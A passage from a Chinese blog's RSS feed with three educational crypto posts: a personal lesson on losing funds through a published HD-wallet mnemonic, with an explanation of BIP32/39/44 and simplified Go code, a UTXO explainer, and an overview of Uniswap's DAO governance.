<p>2021年的一天，我丢失了价值约<code>¥2W</code>的数字货币。这源于一个愚蠢的操作，至今记忆犹新。回顾起来，这是在HD Wallet理解上交的一笔“学费”。</p>
<p>事情是这样的：我用一个测试钱包接收了一笔USDT，这个钱包的助记词曾在我的博客文章（如何使用MetaMask）中公开过。我知道这个助记词不安全，所以基于它创建了一个新的子钱包，心想这样应该没事。可我低估了HD Wallet的原理——子钱包的私钥能从助记词推导出来。结果，转入USDT后，我又充了0.几ETH作为gas费，准备转入交易所卖掉。可不到5分钟，资产就不翼而飞了。我在Etherscan上查到，USDT被转到一个“惯偷地址”，有很多零碎资产流入，像是扫描机器人干的。这次教训让我痛悟自己对HD Wallet的认知有多浅，事后我恶补了这块知识。</p>
<blockquote>
<p>下面，我想用通俗易懂的方式，梳理一下HD Wallet的原理和教训。</p>
</blockquote>
<h2><strong>HD Wallet的由来</strong></h2>
<p>比特币的UTXO模型要求每个地址只用一次，交易后需新地址接收“找零”。传统钱包因此很麻烦：每次要备份新私钥、导入钱包、再签名交易。私钥丢了，资产没了；备份多了，又容易乱套。</p>
<p>为解决这种“非确定性钱包”的问题，社区提出用一个“种子”通过哈希函数生成一组私钥。后来，加入<strong>密钥派生（BIP32）</strong>、<strong>助记词（BIP39）</strong>、<strong>派生路径规范（BIP44）</strong> 等功能，形成了现在的HD Wallet（分层确定性钱包）。它像个“智能管家”，让私钥管理更简单、更安全——前提是用对。</p>
<h2><strong>什么是HD Wallet</strong></h2>
<p>HD Wallet全称<code>Hierarchical Deterministic Wallet</code>，即“分层确定性钱包”。它最大的优点是便于备份和管理：一个“种子”就能生成无数地址和私钥。</p>
<p>用一棵“树”比喻：</p>
<ul>
<li><strong>助记词</strong>：种子的“钥匙”，便于记忆。</li>
<li><strong>种子（Seed）</strong>：树的根，一切的起点。</li>
<li><strong>主密钥（Master Key）</strong>：树干，从种子长出，支撑整棵树。</li>
<li><strong>派生路径（Path）</strong>：树枝，决定密钥分叉。</li>
<li><strong>子密钥（Child Key）</strong>：树叶，生成钱包地址。</li>
</ul>
<p>简单说，HD Wallet是个“家族树”。用助记词解锁种子，种子生出主密钥，再通过派生路径开枝散叶。丢了钱包？有助记词和种子，就能重现整棵树。这就是BIP32的精髓。</p>
<h2><strong>助记词、种子和私钥的关系</strong></h2>
<p>助记词、种子和私钥是HD Wallet的核心，像“家族树”的生长过程。</p>
<h3><strong>助记词（Mnemonic）</strong></h3>
<p>助记词是一组单词（通常12或24个），由BIP39定义。比如：</p>
<p><code>apple banana cherry dog elephant fox grape horse ink jet kite lemon</code></p>
<p><strong>以上助记词是怎么来的？</strong></p>
<ol>
<li>1. <strong>随机熵</strong>：生成 128 位随机数。</li>
<li>2. <strong>校验和</strong>：用 SHA-256 哈希熵，取前 4 位。</li>
<li>3. <strong>拼接与分割</strong>：128 位熵 + 4 位校验和 = 132 位，分成 12 组，每组 11 位。</li>
<li>4. <strong>映射词表</strong>：每组对应BIP39词表中的一个单词，比如 54（<code>apple</code>）、129（<code>banana</code>）、298（<code>cherry</code>）等。</li>
<li>5. <strong>生成种子</strong>：用 PBKDF2 处理助记词，得到 512 位种子，再通过 BIP-32 生成私钥和地址。</li>
</ol>
<p>这组助记词就像“魔法口令”，备份钱包、派生地址，安全又方便，很赞！</p>
<p><strong>为什么这样设计？</strong></p>
<p><strong>128位随机数：</strong> 足够安全，生成12个单词。</p>
<p><strong>校验和：</strong> 确保助记词可验证，4位是128位的1/32（SHA256结果的前4位）。</p>
<p><strong>11位一组：</strong> 2048个单词（2^11），刚好匹配BIP39词表。</p>
<h3><strong>种子（Seed）</strong></h3>
<p>种子由助记词（加可选密码）通过PBKDF2算法生成64字节随机数。它是树的根，BIP32用HMAC-SHA512算法从中生成主密钥，主密钥分两部分：32字节私钥（树干起点）和32字节链码（派生下一层）。</p>
<h3><strong>私钥（Private Key）</strong></h3>
<p>从主密钥出发，通过派生路径生成子私钥，再生成公钥，公钥哈希后变成地址。流水线是：</p>
<pre><code>助记词 → 种子 → 主密钥 → 子私钥 → 公钥 → 地址
</code></pre>
<p>比如，比特币地址如<code>bc1qar0srrr7xfkvy5l643lydnw9re59gtzzwf5mdq</code>，以太坊地址如<code>0x742d35Cc6634C0532925a3b844Bc454e4438f44e</code>。</p>
<blockquote>
<p>教训：泄露助记词等于交出“树根”，所有子密钥都能被推导。我就是反面教材。</p>
</blockquote>
<h2><strong>派生路径和地址生成</strong></h2>
<p>HD Wallet的强大在于，一个种子能生成无数子密钥和地址，全靠“派生路径”。</p>
<h3><strong>什么是派生路径？</strong></h3>
<p>派生路径是“家族树”的分叉地图，由BIP44定义，格式为：</p>
<pre><code>m / purpose' / coin_type' / account' / change / address_index
</code></pre>
<ul>
<li><code>m</code>：固定前缀。</li>
<li><code>purpose'</code>：固定44’，用BIP44标准。</li>
<li><code>coin_type'</code>：币种，0’是比特币，60’是以太坊。</li>
<li><code>account'</code>：账户索引，从0开始。</li>
<li><code>change</code>：0为外部地址，1为找零地址（一般用0）。</li>
<li><code>address_index</code>：地址序号，从0开始，建议不超过20。</li>
</ul>
<p>举例：</p>
<ul>
<li>比特币：<code>m/44'/0'/0'/0/0</code>（第一个账户首个地址）。</li>
<li>以太坊：<code>m/44'/60'/0'/0/0</code>（类似）。</li>
</ul>
<p>主密钥沿路径分叉，长出子密钥（树叶），变成地址。比如：</p>
<ul>
<li>比特币地址：<code>bc1qar0srrr7xfkvy5l643lydnw9re59gtzzwf5mdq</code></li>
<li>以太坊地址：<code>0x742d35Cc6634C0532925a3b844Bc454e4438f44e</code></li>
</ul>
<p>以太坊地址生成（Go代码）：</p>
<pre><code>// 生成以太坊钱包地址
func generateEthereumAddress() string {
    // 1. 生成助记词
    mnemonic := bip39GenerateMnemonic(128) // 128位熵，12个单词
    println("助记词:", mnemonic)

    // 2. 生成种子
    seed := pbkdf2Sha512(mnemonic, "mnemonic", 2048) // 64字节种子
    println("种子:", hex.EncodeToString(seed))

    // 3. 生成主密钥
    masterKey, chainCode := hmacSha512(seed, "Bitcoin seed")
    println("主私钥:", hex.EncodeToString(masterKey))

    // 4. 派生子密钥
    path := "m/44'/60'/0'/0/0"
    childKey := bip32DeriveChildKey(masterKey, chainCode, path)
    println("子私钥:", hex.EncodeToString(childKey))

    // 5. 生成公钥
    publicKey := secp256k1GeneratePublicKey(childKey) // 非压缩格式
    println("公钥:", hex.EncodeToString(publicKey))

    // 6. 生成地址
    pubKeyBytes := publicKey[1:] // 去掉0x04前缀
    hash := keccak256(pubKeyBytes) // 32字节哈希
    address := "0x" + hex.EncodeToString(hash[12:]) // 取后20字节
    println("地址:", address)

    return address
}

// 辅助函数（简化实现）
func bip39GenerateMnemonic(entropyBits int) string {
    // 生成随机熵，添加校验和，映射为单词
    return "apple banana cherry ..."
}

func pbkdf2Sha512(data, salt string, iterations int) []byte {
    // 用PBKDF2算法（SHA512哈希，2048次迭代），生成64字节种子
    return []byte{ /* 64字节种子示例 */ }
}

func hmacSha512(data, key []byte) ([]byte, []byte) {
    // HMAC-SHA512，分为主私钥和链码
    result := sha512.Sum(data, key)
    return result[:32], result[32:]
}

func bip32DeriveChildKey(parentKey, chainCode []byte, path string) []byte {
    // CKD算法派生子私钥
    return []byte{0xab, 0xcd, 0xef, ...}
}

func secp256k1GeneratePublicKey(privateKey []byte) []byte {
    // secp256k1点乘，生成65字节公钥
    return []byte{0x04, 0x11, 0x22, ...}
}

func keccak256(data []byte) []byte {
    // Keccak-256哈希，输出32字节
    return []byte{0x12, 0x34, 0x56, ...}
}
</code></pre>
<p>运行输出示例（随机生成）：</p>
<pre><code>助记词: apple banana cherry dog elephant fox grape horse ink jet kite lemon
种子: 5eb00bbddcf069084889a8ab9155568165f5c453ccb85e70811aaed6f6da5fc19...
主私钥: 3b6a27bcceb6a42d62a3a8d02a6f0d73653215771de243a63ac048a18b59da29
子私钥: abcd1234...（32字节）
公钥: 0411db93e1dcdb8a016b49840f8c53bc1eb68a382e97b1482ecad7b148a6909a5c...
地址: 0x742d35Cc6634C0532925a3b844Bc454e4438f44e
</code></pre>
<blockquote>
<p>教训：我公开的助记词被攻击者拿到，他们按路径推导出所有子密钥，USDT和ETH瞬间没了。路径是公开规则，知道种子就能掌控整棵树。</p>
</blockquote>
<h2><strong>如何保护我的HD Wallet</strong></h2>
<p>痛定思痛，总结几点保护方法：</p>
<ol>
<li>1. <strong>助记词离线存储</strong>手写在纸上，或刻在金属板上，存保险柜，别放电脑或手机。</li>
<li>2. <strong>加密数字备份</strong>如需电子备份，用20位以上带符号的强密码加密。</li>
<li>3. <strong>绝不联网传输</strong>别用微信、邮件发助记词，哪怕是“测试用”也不行。</li>
<li>4. <strong>定期检查和转移</strong>常查钱包地址，异常时立刻转移资产。</li>
<li>5. <strong>硬件钱包</strong>用Ledger或Trezor，把助记词和私钥隔离，安全性翻倍。</li>
</ol>
<blockquote>
<p>核心：助记词是HD Wallet的命根子，护好它最要紧。</p>
</blockquote>
<h2><strong>BIP 32/39/44整理</strong></h2>
<p><strong>BIP 32：</strong> 定义了 HD Wallet 的标准，种子生成树的每个“枝丫”对应一个地址。</p>
<p><a href="https://github.com/bitcoin/bips/blob/master/bip-0032/derivation.png">https://github.com/bitcoin/bips/blob/master/bip-0032/derivation.png</a></p>
<p><strong>BIP 39：</strong> 把种子变成 12 或 24 个助记词（mnemonic words），方便备份。</p>
<p>见<a href="https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt">https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt</a></p>
<p><strong>BIP 44：</strong> 在 BIP 32 基础上，定了多币种路径规则，比如比特币、以太坊用同一个种子。</p>
<h2><strong>总结</strong></h2>
<p>HD Wallet便利又强大，但用错了就是坑。从我的教训看，助记词安全是关键。希望这篇文章帮大家快速入门，也提醒大家：技术是双刃剑，用得好是财富，用不好是学费。愿我们少交“学费”！</p>
<hr>
]]></content:encoded>
      <category>区块链</category>
      <pubDate>Tue, 25 Feb 2025 07:53:50 GMT</pubDate>
    </item>
    <item>
      <title>说说我对UTXO的理解</title>
      <link>https://yangxinmin.com/understanding-utxo</link>
      <guid isPermaLink="true">https://yangxinmin.com/understanding-utxo</guid>
      <description>什么是UTXO UTXO（Unspent Transaction Output），翻译过来就叫未花费的交易输出。 UTXO是比特币的账户模型，与以太坊的账户余额模型形成鲜明对比。 在比特币系统中，用户的比特币不是集中存储在一个账户中，而是分散在多个UTXO中，每个UTXO都代表一定数量的比特币。我私</description>
      <content:encoded><![CDATA[<h2><strong>什么是UTXO</strong></h2>
<p>UTXO（Unspent Transaction Output），翻译过来就叫未花费的交易输出。</p>
<p>UTXO是比特币的账户模型，与以太坊的账户余额模型形成鲜明对比。</p>
<p>在比特币系统中，用户的比特币不是集中存储在一个账户中，而是分散在多个UTXO中，每个UTXO都代表一定数量的比特币。我私下把UTXO理解成装在存钱罐里的硬币，要花10块钱的时候，就去找10个散装硬币。</p>
<h2><strong>UTXO的主要作用</strong></h2>
<h3><strong>一、防止双花攻击</strong></h3>
<p>双花攻击是电子货币系统面临的核心问题，即同一笔资金被重复使用。比特币通过UTXO模型巧妙解决了这一问题：</p>
<ul>
<li>每笔交易包含输入和输出两部分</li>
<li>输入部分指向先前交易的UTXO（通过交易ID和输出索引定位）</li>
<li>网络节点通过检查UTXO是否已被花费来防止双花</li>
<li>当验证新交易时，节点会检查其引用的UTXO是否已被其他交易消费。一旦UTXO被使用，它将被标记为"已花费"，不能再次被引用，从而从根本上防止了双花问题。</li>
</ul>
<h3><strong>二、保存比特币的支配权</strong></h3>
<p>UTXO模型通过密码学机制确保只有合法所有者才能花费比特币:</p>
<p><strong>1. 交易创建过程：</strong></p>
<ul>
<li>钱包软件会扫描并汇总用户控制的所有UTXO</li>
<li>根据支付金额选择适当的UTXO组合</li>
<li>创建新交易，引用这些UTXO作为输入</li>
</ul>
<p><strong>2. 支配权验证流程：</strong></p>
<ul>
<li>
<p>用户用私钥生成签名，将签名和公钥放入输入脚本</p>
</li>
<li>
<p>输出脚本包含接收方的公钥哈希</p>
<pre><code>交易输出会包含一个脚本，这个脚本说 “这个输出谁能拿出一个签名和接收方的公钥地址匹配上，就支付给谁”。
</code></pre>
</li>
<li>
<p>交易验证通过脚本执行实现</p>
</li>
</ul>
<p><strong>3. 脚本执行过程（基于比特币的栈式虚拟机）：</strong></p>
<pre><code>输入脚本：
OP_PUSHDATA(Sig)  // 推送有权花费这笔UTXO的用户的私钥签名
OP_PUSHDATA(PubKey) // 推送有权花费这笔UTXO的用户的公钥

输出脚本：
OP_DUP  // 复制有权花费这笔UTXO的用户的公钥（复制栈顶元素）
OP_HASH160 // 对以上公钥进行哈希（弹出栈顶元素，对公钥进行哈希运算，再压入栈顶）
OP_PUSHDATA(PubKeyHash) // 压入输出脚本中的收款方的公钥哈希
OP_EQUALVERIFY // 弹出栈顶的两个元素，比较是否相等，目的是防止有人冒名顶替收款方
OP_CHECKSIG // 弹出栈顶的两个元素，用公钥检查签名是否正确，到此验完有权花费这笔UTXO的用户身份
</code></pre>
<p>如果整个脚本执行过程没有错误，且最终栈顶为真值，则验证通过，交易有效。</p>
<h2><strong>UTXO模型的实际运作</strong></h2>
<p>当用户发送比特币时：</p>
<p><strong>输入选择：</strong> 钱包选择一个或多个UTXO作为交易输入</p>
<p><strong>找零处理：</strong> 如果选定的UTXO总额超过需支付金额，会创建一个"找零"输出，返回给发送者</p>
<p>**新UTXO生成：**交易完成后，原UTXO被标记为已花费，同时生成新的UTXO（包括接收方的和找零的）</p>
<p><strong>举例说明：</strong></p>
<p>假设Alice有3个UTXO（价值分别为2、3和5 BTC），她想向Bob发送4 BTC：</p>
<ol>
<li>
<p>Alice的钱包选择2和3的UTXO作为输入（总计5 BTC）</p>
</li>
<li>
<p>创建两个输出：一个给Bob（4 BTC），一个找零给Alice自己（1 BTC，减去交易费）注意：矿工费并不作为输出，而是使用输入总额-输出总额的差额作为矿工费。</p>
</li>
<li>
<p>用私钥签名交易</p>
</li>
<li>
<p>交易广播后，原来的两个UTXO被消费，网络中产生两个新UTXO</p>
</li>
</ol>
<p><strong>附比特币的交易结构：</strong></p>
<p><a href="https://www.blockchain.com/explorer/transactions/btc/921af728159e3019c18bbe0de9c70aa563ad27f3f562294d993a208d4fcfdd24">https://www.blockchain.com/explorer/transactions/btc/921af728159e3019c18bbe0de9c70aa563ad27f3f562294d993a208d4fcfdd24</a></p>
<pre><code>{
    "txid": "921af728159e3019c18bbe0de9c70aa563ad27f3f562294d993a208d4fcfdd24", // 交易哈希：全网唯一
    "size": 226, // 交易数据的大小：以字节为单位
    "version": 1, // 交易的版本号
    "locktime": 0, // 交易的锁定时间：0表示无锁定，立即生效
    "fee": 29040, // 矿工费：以聪（satoshis）为单位
    "inputs": [
      {
        "coinbase": false, // 来源类型：这笔BTC是否为挖矿所得，true-是，false-否
        "txid": "c0cb92ca8e41070233bf965d808b0fc4bac144dab05690b17823fac3e184c57b", // 交易哈希：这笔输入来自哪笔交易哈希
        "output": 0, // 输出序号：这笔输入来自哪笔交易哈希的第几笔输出
        "sigscript": "483045022100928496fb0d2a25e4e7c99b9c60d4d0d12fcf8974a0faffcb30119b0d385872a30220253d3d0c507e5e44e123bc28b795ab4a38bf3b205455403e77aa72d58d9e17110121022ef8d3a6dd8a7039e513acc8ecf9b094ed7e85439824a1d11920f85927cd0018", // 签名脚本：解锁这个输入所需的脚本
        "sequence": 4294967295, // 序列号：用于支持替换费率（RBF）功能，通常设置为最大值表示不使用RBF。 sequence &#x3C; 0xFFFFFFFF-1 = 4,294,967,295 时，表示这笔交易如果未确认时，支持替换，以便加快打包速度
        "pkscript": "76a914e1a8cdae6411b17ee1d4cecfe47bafce37e14d1488ac", // 公钥脚本：锁定该输入的脚本
        "value": 76469684, // 输入金额：该输入的比特币金额，以聪为单位
        "address": "1MaBFqBEfcQyXPv3fm5WAW9aQuJuKHaA3A", // 输入地址：花这笔BTC的人的钱包地址
        "witness": [] // 见证数据：用于SegWit交易的额外数据
      }
    ],
    "outputs": [
      {
        "address": "19z8LJkNXLrTv2QK5jgTncJCGUEEfpQvSr", // 输出地址：接收方的钱包地址
        "pkscript": "76a914628ed6567c0b9056067309f07bbea2992ecad74388ac", // 公钥脚本：锁定该输出的脚本
        "value": 22684000, // 输出金额：该输出的比特币金额，以聪为单位
        "spent": true, // 是否已花费：表示该输出是否已被使用
        "spender": {
          "txid": "437f8e2d8b33dc46f73e8d57be5fc739c5a70d2dc02e1326a6a530adf4c3c57b", // 使用该输出的交易哈希：花费这个输出的交易ID
          "input": 0 // 使用该输出的输入索引：花费这个输出的输入索引
        }
      },
      {
        "address": "1LvGTpdyeVLcLCDK2m9f7Pbh7zwhs7NYhX", // 输出地址：接收方的钱包地址
        "pkscript": "76a914da7d57dfd02c6f5a9c649e891b5ac199ad012cd288ac", // 公钥脚本：锁定该输出的脚本
        "value": 53756644, // 输出金额：该输出的比特币金额，以聪为单位
        "spent": true, // 是否已花费：表示该输出是否已被使用
        "spender": {
          "txid": "a9fcce7933c672b058a4c9534ca1e975db002f85d19ef7124356e7285c48c428", // 使用该输出的交易哈希：花费这个输出的交易ID
          "input": 0 // 使用该输出的输入索引：花费这个输出的输入索引
        }
      }
    ],
    "block": {
      "height": 530657, // 区块高度
      "position": 25 // 交易位置：该交易在区块中的位置
    },
    "deleted": false, // 是否已删除：表示交易是否已被删除或取消
    "time": 1530846727, // 交易时间：UNIX时间戳，表示交易被包含进区块的时间
    "rbf": false, // 替换费率（RBF）：表示该交易是否支持替换费率功能
    "weight": 904 // 交易权重：用于计算交易的相对成本，考虑了SegWit优化
  }

</code></pre>
<p>以上<code>矿工费 = 76469684 - 22684000 - 53756644 = 29040</code>，与fee字段值一致。</p>
<h2><strong>UTXO的优势</strong></h2>
<p><strong>安全性：</strong> 通过密码学确保只有拥有私钥的用户才能花费UTXO</p>
<p><strong>隐私性：</strong> 可以每次交易使用新地址，增强隐私保护</p>
<p><strong>并行处理：</strong> 不同UTXO的交易可以并行验证，提高网络吞吐量</p>
<p><strong>状态简化：</strong> 只需维护未花费交易集合，而非全部交易历史</p>
<h2><strong>UTXO的局限性</strong></h2>
<p><strong>复杂的脚本支持有限：</strong> 相比以太坊，比特币脚本功能较为有限</p>
<p><strong>碎片化：</strong> 长期使用会产生大量小额UTXO，增加交易费用</p>
<p><strong>应用开发难度高：</strong> 相比账户模型，基于UTXO构建应用更复杂</p>
]]></content:encoded>
      <category>区块链</category>
      <pubDate>Tue, 25 Feb 2025 04:11:31 GMT</pubDate>
    </item>
    <item>
      <title>【DAO】从Uniswap学习DAO治理</title>
      <link>https://yangxinmin.com/uniswap-dao-governance</link>
      <guid isPermaLink="true">https://yangxinmin.com/uniswap-dao-governance</guid>
      <description>自17年学习区块链以来，笔者先后参与开发诸多web3项目，如DeFi借贷、NFT交易平台、链游、IDO、O2C、DAO、版权、Fabric等DAPPs，近期想做些知识沉淀与分享，坚持原创，内容持续更新，欢迎关注我的公众号。 本文主要分享Uniswap是怎样做治理的，读完全文大约需要12分钟。 主要内</description>
      <content:encoded><![CDATA[<blockquote>
<p>自17年学习区块链以来，笔者先后参与开发诸多web3项目，如DeFi借贷、NFT交易平台、链游、IDO、O2C、DAO、版权、Fabric等DAPPs，近期想做些知识沉淀与分享，坚持原创，内容持续更新，欢迎关注我的公众号。</p>
</blockquote>
<p>本文主要分享Uniswap是怎样做治理的，读完全文大约需要12分钟。</p>
<p>主要内容有：</p>
<p><img src="/api/images/image/2026/10/631226a666924a4a--e4-bb-8euniswap-e5-ad-a6-e4-b9-a0dao-e6-b2-bb-e7-90-86.png" alt="从Uniswap学习DAO治理.png"></p>
<blockquote>
<p>Uniswap作为去中心化交易平台（DEX）的龙头，以创新性的自动做市商（AMM）模式而闻名，推动了DeFi生态的发展与繁荣。学习它的治理具有代表性。</p>
</blockquote>
<h2>Uniswap的治理范围</h2>
<p>治理范围主要包括以下几方面：</p>
<ol>
<li><strong>合约的升级部署：</strong> Uniswap的协议是由社区来管理的，社区成员可以提出和投票支持关于Uniswap协议升级的提案。这样确保了协议是可以灵活地进行改进和演变的。</li>
<li><strong>社区基金的使用：</strong> Uniswap社区拥有治理代币UNI，可以用于投票决定社区基金的使用方式。社区基金用于支持Uniswap生态系统的发展，包括项目的开发、安全审计、市场推广等方面。</li>
<li><strong>合约参数的修改：</strong> 社区成员有权提出关于合约参数的修改提案，这包括手续费率、奖励分配等。这使得Uniswap的运营参数能够适应市场需求和用户反馈。</li>
<li><strong>社区提案的审议：</strong> 除了直接影响协议的变更，社区还可以提出各种提案，如调整治理流程、增加新的功能等。这些提案经过社区的讨论和投票后，可以被采纳或拒绝。</li>
</ol>
<blockquote>
<p>以上治理范围也代表了绝大多数DAPPs的治理需求，本文以合约的升级部署为例。</p>
</blockquote>
<h2>Uniswap的治理流程</h2>
<h3><strong>治理角色</strong></h3>
<p>为了便于上下文的理解，我们先了解一下在治理中都有哪些角色。</p>
<p>总共有6个角色：</p>
<ul>
<li><strong>投票人（委托人，也即全体持币人）</strong></li>
<li><strong>提案发起人（代理人）</strong></li>
<li>智能合约</li>
<li>程序员</li>
<li>社区论坛管理员</li>
<li>审计员</li>
</ul>
<blockquote>
<p>投票人可以把手中的票数（token数量）委托给提案发起人（让其有资格发起提案），也可以委托给其他投票人代为投票。
链上治理主要是在智能合约中完成，程序员辅助治理编码，社区论坛管理员负责提案的整理与归档，审计员主要对治理编码进行安全审计。</p>
</blockquote>
<h3><strong>治理流程</strong></h3>
<p>包括：</p>
<ul>
<li>1、温度检查</li>
<li>2、共识检查</li>
<li>3、治理提案</li>
<li>4、执行提案</li>
</ul>
<p>整个流程按链下和链上划分又可分为：链下治理、链上治理。链下治理阶段包括温度检查、共识检查；链上治理阶段包括治理提案、执行提案。</p>
<p><strong>1、温度检查</strong></p>
<p>“愿嘤鸣以求友，敢步将伯之呼”，提案发起人通过论坛发帖+Discord+社区电话会议+Twitter Space等方式，使提案获得一些关注和支持。</p>
<p>或者我们可以称之为民意调查，看看大家有没有足够的意愿来改变现状，是一种非正式讨论。</p>
<p>Uniswap的温度检查时间为<code>3</code>天，参与形式是委托token，单账户<code>1,000 uni</code>起，达到<code>25,000 uni</code>赞成票才算有效。</p>
<p><strong>2、共识检查</strong></p>
<p>在社区有一定人响应的情况下，开始正式讨论（有种SEC听证会的感觉，回答选民的质疑），投第二次票。</p>
<p>Uniswap的共识检查时间为<code>5</code>天，参与形式是委托token，单账户<code>1,000 uni</code>起，达到<code>50,000 uni</code>赞成票才算有效。</p>
<blockquote>
<p>在Snapshot（一个开源平台，下文再介绍）发起链下投票，用户对投票进行签名，投票结果以json格式的文件存放在IPFS网络中。</p>
</blockquote>
<p><strong>3、治理提案</strong></p>
<p>部署治理合约，在合约中创建提案，在链上进行正式投票。</p>
<p>当话题创建者确认得到了社区支持者非正式的支持后，再发出请求，以创建一个相应的链上治理轮询，从而实现治理从链下到链上的迁移。</p>
<p>Uniswap发起治理提案的门槛是：提案发起人被委托<code>250万uni</code>才能发起提案。</p>
<p>提案发起人需要提前准备好要执行的合约编码，在社区公示，合约编码最多支持<code>10</code>组calldata的调用。合约编码需要做安全审计，费用由社区报销；然后由提案发起人调用治理合约创建提案，正式进入投票期，一般为<code>7</code>天（按以太坊<code>15</code>秒一个区块来算，大约<code>40,320</code>个区块）</p>
<p>提案有效的条件是：赞成 > 反对 ，赞成票 >= <code>4000万</code>。这里设置了一个最低门槛，避免赞成和反对票相差太悬殊，也是为了治理安全而设计。uni的总发行量为<code>10亿</code>，<code>4000万</code>即<code>4%</code>。</p>
<p><strong>4、执行提案</strong></p>
<p>在提案得到通过后，意味着即将要执行的链上修改指令被注入到一个<code>TimeLock</code>的合约中，开始进入一个公示等待期（Time lock），一般为<code>2~30</code>天，这个期间仍然可以反悔中止提案，避免治理攻击。</p>
<blockquote>
<p>所有的合约参数设置都是支持治理流程管理的，只需发起发一个新提案并获得通过，如修改上面的公示等待期。</p>
</blockquote>
<p>回顾以上流程，我们不禁会发问：为什么不直接发起治理提案呢？个人认为之所以有温度检查和共识检查两个环节，目的有两个：
（1）调查民意；（2）让提案保持足够的曝光度。</p>
<h2>从Snapshot解读链下治理</h2>
<p>Snapshot 是一个为ERC20代币提供提案与投票的链下治理平台。由Balancer Labs开发。</p>
<p>后端技术栈：<code>IPFS + GraphQL + 数据库</code></p>
<p>前端技术栈：<code>Vue + TypeScript + Metamask签名授权</code></p>
<h3><strong>Snapshot的主要功能</strong></h3>
<ul>
<li><strong>发起提案</strong></li>
<li><strong>投票</strong></li>
</ul>
<h3><strong>Snapshot的特点</strong></h3>
<ul>
<li>1、链下发起提案与投票，无质押，无GAS消耗；</li>
<li>2、IPFS存储提案信息、用户投票签名；</li>
<li>3、项目完全开源；</li>
<li>4、团队称不发token，靠社区捐赠，不做营销。</li>
</ul>
<p>snapshot最大的好处就是不用gas费来发起提案和投票，而且它的提案和投票结果是可信的。</p>
<p><strong>为什么snapshot是可信的？</strong></p>
<p>snapshot保证了投票全过程是不可篡改的，投票内容是永久存储的：用户对投票信息进行签名，投票结果永久存放在IPFS网络，投票结果是可以被验证的。</p>
<p><strong>为什么snapshot只提供链下治理？</strong></p>
<p>snapshot完全有能力提供链下+链上整套治理服务，之所以只提供链下治理，个人认为出于以下两点考虑：
（1）每个项目的需求都不一样，治理的规则也不完全一样，链上治理的合约也不一样；
（2）投票结果存在争议时，snapshot没有仲裁机构，它想保持轻量，仲裁部分由具体项目去实现。</p>
<h3><strong>Snapshot的使用者</strong></h3>
<p><img src="/api/images/image/2026/10/42f814e42c206483--e4-bd-bf-e7-94-a8-e6-a1-88-e4-be-8b.png" alt="使用案例.png"></p>
<h2>从Uniswap合约解读链上治理</h2>
<h3><strong>主要合约</strong></h3>
<ul>
<li>UNI Token</li>
<li>Governor</li>
<li>Timelock</li>
</ul>
<p>UNI Token即token合约，包括余额快照、委托等功能；Governor即治理主合约，包括发起提案、投票等功能；Timelock即时间锁合约，包括锁定即将要执行的提案、执行提案等功能。</p>
<h3><strong>治理规则</strong></h3>
<p>在以上治理流程中已经说明了，略</p>
<h3><strong>提案格式</strong></h3>
<p>一个提案包括以下内容：</p>
<ul>
<li>提案ID</li>
<li>提案发起人账号地址</li>
<li>提案执行时间戳</li>
<li>提案编码内容（合约地址[]，msg.vaule[]，方法名[]，参数[]）</li>
<li>开始投票区块 / 结束投票区块</li>
<li>赞成票数 / 反对票数</li>
<li>是否已执行 / 已作废</li>
<li>全员投票记录（投票账号，是否支持，票数）——透明性、可验证</li>
</ul>
<h3><strong>提案的生命周期</strong></h3>
<p>人人都可以发起提案，人人都可以撤销提案。</p>
<p><img src="/api/images/image/2026/10/c315d87a133fc66f--e6-8f-90-e6-a1-88-e7-94-9f-e5-91-bd-e5-91-a8-e6-9c-9f.png" alt="提案生命周期.png"></p>
<p>提案有8个状态：</p>
<pre><code class="language-solidity">Pending      // 提案未开始
Active       // 提案已激活
Canceled     // 提案已作废
Defeated     // 提案投票已否决
Succeeded    // 提案投票已成功
Queued       // 提案执行排队中
Expired      // 提案已到期
Executed     // 提案已经执行
</code></pre>
<h3><strong>执行提案</strong></h3>
<p>已通过的提案在公示期结束后，调用以下合约方法执行提案（人人都可以去触发）：</p>
<pre><code class="language-solidity">function executeTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 eta) external override payable returns (bytes memory)
{
        ......
        (bool success, bytes memory returnData)
      = target.call{value: value}(callData);
        ......
}
</code></pre>
<p>执行时长为 <code>14</code> 天，如果超时了，则不能再执行，但可以取消执行。</p>
<p>从提案的发起到执行，正常效率为 <code>9</code> 天。 提案在被执行前，随时都可以撤销提案，确保了治理的安全性。</p>
<h2>总结一下</h2>
<blockquote>
<p>通过学习，我们了解到Uniswap的治理分为链下+链上治理两部分，借助Snapshot等工具，通过链下的温度检查、共识检查两个环节来调查民意，曝光提案内容，提高了提案的成功率，避免了失败提案带来的成本浪费；通过链上智能合约完成提案的发起、投票、公示、执行落地，尽量地避免了治理攻击。</p>
</blockquote>
<h2>思考题</h2>
<p>DAO的优点是公平、公正、自由，群策群力，过程公开透明，相对安全。但面临的挑战也有很多：智能合约的安全性问题、参与度不足问题、权力集中在巨鲸手中、决策效率问题。</p>
<p>通过以上的学习，Uniswap又是如何去平衡和解决这些问题的呢？DAO适合所有应用场景吗？下一篇文章我将分享对DAO的思考。</p>
<hr>
<p>以上就是本文的全部内容，如有问题欢迎在公众号中留言。</p>
<h3>扩展阅读</h3>
<ul>
<li><a href="https://github.com/Uniswap/governance/blob/master/contracts/GovernorAlpha.sol">治理DEMO演示</a></li>
<li><a href="https://github.com/compound-finance/compound-protocol/tree/v2.8.1/contracts/Governance">Compound中的治理合约示例</a></li>
<li><a href="https://snapshot.org/">Snapshot官网</a></li>
<li><a href="https://github.com/snapshot-labs/snapshot">Snapshot的仓库地址</a></li>
<li><a href="https://snapshot.org/">怎样在Snapshot申请治理空间</a></li>
</ul>
<p>以上扩展阅读内容已经转发在我的知识星球，可扫码阅读。</p>
<hr>
<p>欢迎关注我的公众号“<strong>web3-notes</strong>”，一起拥抱 web3 世界。</p>
]]></content:encoded>
      <category>DeFi</category>
      <pubDate>Mon, 04 Dec 2023 13:07:00 GMT</pubDate>
    </item>
    <item>
      <title>【solidity】分享我的一点合约开发经验</title>
      <link>https://yangxinmin.com/solidity-development-experience</link>
      <guid isPermaLink="true">https://yangxinmin.com/solidity-development-experience</guid>
